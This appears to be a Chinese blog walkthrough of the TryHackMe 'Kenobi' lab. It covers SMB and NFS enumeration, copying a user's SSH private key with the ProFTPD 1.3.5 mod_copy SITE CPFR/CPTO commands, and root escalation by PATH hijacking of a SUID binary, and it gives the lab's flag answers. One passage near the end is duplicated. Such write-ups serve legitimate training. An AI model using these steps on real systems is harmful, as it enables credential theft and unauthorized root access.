Tryhackme-kenobi

Kenobi ⭐️SMB

task1 Deploy the vulnerable machine

1.Make sure you’re connected to our network and deploy the machine

2.Scan the machine with nmap, how many ports are open?

7

image-20210713165932709

task2 Enumerating Samba for shares

1.Using the nmap command above, how many shares have been found?

3

image-20210713170152967

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.162.162 使用脚本扫描445端口

2.On most distributions of Linux smbclient is already installed. Lets inspect one of the shares.

smbclient //<ip>/anonymous

Once you’re connected, list the files on the share. What is the file can you see?

log.txt

image-20210713171401526

3.Open the file on the share. There is a few interesting things found.

  • Information generated for Kenobi when generating an SSH key for the user
  • Information about the ProFTPD server.

What port is FTP running on?

21

image-20210713171227377

4.Your earlier nmap port scan will have shown port 111 running the service rpcbind. This is just a server that converts remote procedure call (RPC) program number into universal addresses. When an RPC service is started, it tells rpcbind the address at which it is listening and the RPC program number its prepared to serve.

In our case, port 111 is access to a network file system. Lets use nmap to enumerate this.

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount MACHINE_IP

What mount can we see?

/var

image-20210713173133797

task3 Gain initial access with ProFtpd ⭐️ProFtpd

1.Lets get the version of ProFtpd. Use netcat to connect to the machine on the FTP port.

What is the version?

1.3.5

image-20210713173414894

2.We can use searchsploit to find exploits for a particular software version.

Searchsploit is basically just a command line search tool for exploit-db.com.

How many exploits are there for the ProFTPd running?

3

image-20210713174201668

3.You should have found an exploit from ProFtpd’s mod_copy module.

The mod_copy module implements SITE CPFR and SITE CPTO commands, which can be used to copy files/directories from one place to another on the server. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination.

We know that the FTP service is running as the Kenobi user (from the file on the share) and an ssh key is generated for that user.

从log.txt文件中得知密钥地址和共享地址

image-20210713182101707

image-20210713182149434

nc连接21端口

  nc 10.10.34.242 21

再执行命令,复制密钥文件至共享目录,再下载,使用密钥文件登录kenobi账号

site cpfr /home/kenobi/.ssh/id_rsa
site cpto /home/kenobi/share/id_rsa

image-20210713182441433

4.We knew that the /var directory was a mount we could see (task 2, question 4). So we’ve now moved Kenobi’s private key to the /var/tmp directory.

5.mkdir /mnt/kenobiNFS
mount machine_ip:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS

What is Kenobi’s user flag (/home/kenobi/user.txt)?

d0b0f3f53b6caa532a83915e19224899

image-20210714093858840

task4 Privilege Escalation with Path Variable Manipulation ⭐️环境变量提权

1.To search the a system for these type of files run the following: find / -perm -u=s -type f 2>/dev/null

What file looks particularly out of the ordinary?

/usr/bin/menu

2.Run the binary, how many options appear?

3

image-20210714112233044

3.We copied the /bin/sh shell, called it curl, gave it the correct permissions and then put its location in our path. This meant that when the /usr/bin/menu binary was run, its using our path variable to find the “curl” binary… Which is actually a version of /usr/sh, as well as this file being run as root it runs our shell as root!

提权条件: -rwsr-xr-x menu

文件执行时会在环境变量中查找curl,自建curl文件赋予可执行权限,至于可写目录加入环境变量中替代curl程序以root权限执行即可提权.

export PATH=/tmp:$PATH将/tmp目录写入环境变量

4.What is the root flag (/root/root.txt)?

177b3cd8562289f37382721c28381f02

oot权限执行即可提权.

export PATH=/tmp:$PATH将/tmp目录写入环境变量

4.What is the root flag (/root/root.txt)?

177b3cd8562289f37382721c28381f02

image-20210714113038981

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值